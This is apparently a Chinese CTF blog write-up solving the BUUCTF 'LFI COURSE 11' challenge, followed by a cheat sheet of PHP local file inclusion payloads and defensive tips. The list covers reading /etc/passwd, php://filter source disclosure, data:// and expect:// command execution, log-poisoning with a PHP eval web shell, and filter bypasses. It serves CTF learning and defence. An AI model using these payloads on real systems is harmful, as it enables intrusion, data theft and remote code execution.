BUUCTF——Basic——BUU LFI COURSE 11

这是一道 ** 本地文件包含(LFI)** 的入门题,核心思路是利用 PHP 的文件包含漏洞读取服务器上的flag文件。


1. 访问靶机并分析代码

打开题目给出的链接:http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81

页面会显示一段 PHP 代码,大致逻辑是:

php

运行

复制代码
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);
}
  • 代码接收GET参数file,并直接用include()函数包含该文件
  • 无任何过滤,存在典型的 LFI 漏洞

2. 构造 Payload 读取 flag

在 CTF 中,flag通常存放在服务器根目录/flag,我们直接构造 URL:

plaintext

复制代码
http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81/?file=/flag

访问后页面会直接显示flag内容,复制提交即可。

如果/flag路径不生效,也可以尝试路径穿越:

plaintext

复制代码
?file=../../../../flag

用../向上跳转目录,最终定位到根目录的flag文件。


3. 提交 Flag

将页面显示的flag(格式通常为flag{...})复制到题目下方的输入框,点击提交即可完成解题。✅


💡 原理总结

这道题的核心是无过滤的文件包含:

  • 攻击者可控file参数,直接指定服务器上的任意文件路径
  • PHP 的include()会读取并执行(如果是 PHP)或展示(如果是文本)目标文件内容
  • 本题只需读取文本形式的flag,无需代码执行

📝 LFI 漏洞常见 Payload 清单

一、基础文件读取(无过滤场景)

1. 直接读取绝对路径

plaintext

复制代码
?file=/etc/passwd          # Linux 系统用户信息
?file=/flag                # CTF 常见 flag 位置
?file=/var/log/apache2/access.log  # Apache 访问日志
?file=C:\Windows\System32\drivers\etc\hosts  # Windows hosts 文件

2. 相对路径穿越(绕过简单过滤)

plaintext

复制代码
?file=../../../../etc/passwd
?file=....//....//....//etc/passwd  # 绕过 ../ 过滤
?file=..././..././etc/passwd        # 绕过 ../ 过滤

二、PHP 协议利用(进阶利用)

1. php://filter 读取源码(关键!)

用于读取 PHP 等脚本文件的源码,避免被直接执行:

plaintext

复制代码
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=config.php

得到 Base64 后解码即可看到源码。

2. data:// 执行代码(需要 allow_url_include=On)

plaintext

复制代码
?file=data://text/plain,<?php system('id');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKGlkKTs/Pg==

3. expect:// 执行系统命令(需要安装 expect 扩展)

plaintext

复制代码
?file=expect://id
?file=expect://ls /

4. phar:// 反序列化利用(配合反序列化漏洞)

plaintext

复制代码
?file=phar://shell.phar/shell.txt

三、日志包含 Getshell(经典 getshell 方式)

1. Apache 日志包含

  1. 先在 User-Agent 中写入一句话木马: plaintext

    复制代码
    <?php eval($_GET['cmd']);?>
  2. 访问日志文件: plaintext

    复制代码
    ?file=/var/log/apache2/access.log
    ?file=/var/log/httpd/access.log
  3. 访问 ?cmd=id 执行命令。

2. Nginx 日志包含

plaintext

复制代码
?file=/var/log/nginx/access.log
?file=/var/log/nginx/error.log

3. SSH 日志包含

plaintext

复制代码
?file=/var/log/auth.log
?file=/var/log/secure

先通过 SSH 连接时写入恶意代码到日志,再包含执行。


四、绕过技巧

1. 绕过路径限制

  • 双写绕过:....// → 解析为 ../
  • 编码绕过:%2e%2e%2f → ../
  • 空字节截断(PHP < 5.3.4):?file=/flag%00

2. 绕过后缀限制

  • 点号截断:?file=/flag............
  • 路径长度截断:?file=/../../../../../../../../../../../../flag
  • 协议绕过:用 php://filter 等协议直接读取。

五、CTF 场景高频 Payload

表格

场景 Payload
读 flag ?file=/flag
读源码 ?file=php://filter/convert.base64-encode/resource=index.php
日志 getshell ?file=/var/log/apache2/access.log
Windows 读 hosts ?file=C:\Windows\System32\drivers\etc\hosts

六、防御建议

  • 固定文件路径白名单,不允许用户直接控制文件路径
  • 过滤 ../、php:// 等危险字符
  • 关闭 allow_url_include 和不必要的 PHP 协议
  • 使用 open_basedir 限制 PHP 可访问的目录
相关推荐
QXWZ_IA5 小时前
高楼遮挡RTK失锁:三层安全网怎么搭
人工智能·安全
衡石科技5 小时前
让多轮分析沿用正确口径:衡石 Data Agent 的上下文工程
安全·chatbi·上下文工程·data agent
QZ166560951595 小时前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
网络·人工智能·安全·网络安全·政务
QXWZ_IA8 小时前
矿山安全监测从感知到预警的全链路算法
人工智能·安全
武天旭10 小时前
AI安全--AI大模型的数据投毒攻击解析
人工智能·深度学习·安全
迪康coolmu11 小时前
企业U盘管控落地实战:基于迪康端点安全一体化管理系统的移动存储安全实践
运维·人工智能·经验分享·笔记·安全·电脑
0xBADCODE13 小时前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf
anew___1 天前
《从零手写操作系统 (63):安全与加固——从内核保护到沙箱隔离》
网络·安全
其实防守也摸鱼1 天前
个人学习 Pwn 思路:从基础到漏洞利用的进阶路径
大数据·前端·人工智能·chrome·算法·安全·网络安全
乐维_lwops1 天前
案例解读:大型综合性科创产业园运维监控落地实践
运维·网络·人工智能·安全·it监控·国产运维智能体